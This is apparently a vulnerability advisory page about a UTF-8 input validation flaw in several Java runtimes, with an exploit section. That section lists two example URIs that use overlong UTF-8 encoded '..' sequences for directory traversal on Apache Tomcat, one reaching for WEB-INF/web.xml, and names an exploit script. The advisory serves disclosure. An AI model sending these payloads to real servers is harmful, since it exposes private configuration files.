Multiple Java Runtime Implementations UTF-8 Input Validation Vulnerability

info
discussion
exploit
solution
references

Multiple Java Runtime Implementations UTF-8 Input Validation Vulnerability

An attacker can exploit this issue via a browser.

The following example URIs and exploit for Apache Tomcat are available:

http://www.example.com/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/foo/bar
http://www.example.com/contextpath/%c0%ae%c0%ae/WEB-INF/web.xml

/data/vulnerabilities/exploits/30633.py